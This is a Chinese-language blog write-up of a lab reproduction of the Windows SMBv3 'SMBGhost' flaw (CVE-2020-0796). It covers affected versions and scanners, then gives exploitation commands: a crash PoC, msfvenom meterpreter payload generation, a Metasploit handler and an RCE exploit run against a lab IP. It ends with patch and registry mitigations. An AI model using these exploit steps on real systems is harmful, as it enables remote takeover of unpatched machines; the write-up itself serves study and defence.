CVE-2020-0796—永恒之黑漏洞复现

说明：

这个漏洞几个月前就复现过了，但是没有记录，当时是可行的，现在Windows 10自动更新已经修复了这个漏洞，当时也没保存镜像，所以无法成功复现~

简介：

2020年3月10日，微软在其官方SRC发布了CVE-2020-0796的安全公告（ADV200005，MicrosoftGuidance for Disabling SMBv3 Compression）,公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中，攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码

该漏洞是SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏环境，导致可被攻击者利用远程执行任意代码。

影响版本：
只影响Windows 10 1903之后的各个32位、64位版Windows，包括家用版、专业版、企业版、教育版。（只影响 SMB v3.1.1，1903和1909）

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

复现环境：

环境准备：

靶机：192.168.107.130（Windows 10)
攻击机：192.168.107.129 （Kali）
物理机：172.17.82.57（Windows 10)

查看靶机版本信息：

查看靶机系统补丁情况（是否存在KB4551762）：

虽然这个上面没有显示KB4551762的补丁，但是我一直都有更新补丁，可能是显示不全，所以大家还是去window更新里面点击查看更新历史记录里面的其他更新：

漏洞检测：

1、项目地址：https://github.com/ollypwn/SMBGhost

据说这个脚本结果有点不准，主机打过补丁也显示可攻击

2、奇安信检测工具：
项目地址：http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

适用于局域网批量检测，快速查找未打补丁的机器：

3、腾讯电脑管家SMB漏洞修复工具：
http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe

漏洞利用：

蓝屏POC：
项目地址：https://github.com/eerykitty/CVE-2020-0796-PoC

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.107.130

远程POC：
项目地址：https://github.com/chompie1337/SMBGhost_RCE_PoC.git

具体利用过程：

1、利用msf生成py文件，得到恶意code

msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f py -o book4yi.py

2、将book4yi.py 生成的code，替换到exploit.py的USER_PAYLOAD参数，并把参数buf改为USER_PAYLOAD

3、进入msf进行监听，输入以下命令：

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.107.130
run

4、运行exploit.py

python3 exploit.py -ip 192.168.107.130

本地提权POC:

项目地址：https://github.com/danigargu/CVE-2020-0796
编译后直接运行即可

msf也有相应的利用模块：

search cve:2020
exploit/windows/local/cve_2020_0796_smbghost

防御手段：

1、更新微软针对该漏洞所发布的的修复补丁：KB4551762
补丁链接：https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
2、在注册表中建立一个名为 DisableCompression 的 DWORD (值为1) ，以禁用SMBv3的压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3、在边界防火墙对 TCP 445端口进行封堵

参考如下：

【CVE-2020-0796】漏洞POC复现
 CVE-2020-0796 （永恒之黑）复现
 CVE-2020-0796 漏洞检测及利用工具
 漏洞复现|CVE-2020-0796(SMBv3远程代码执行)漏洞复现

最后编辑于：2020.09.16 14:03:01

禁止转载，如需转载请通过简信或评论联系作者。

CVE-2020-0796—永恒之黑 漏洞复现

说明：

简介：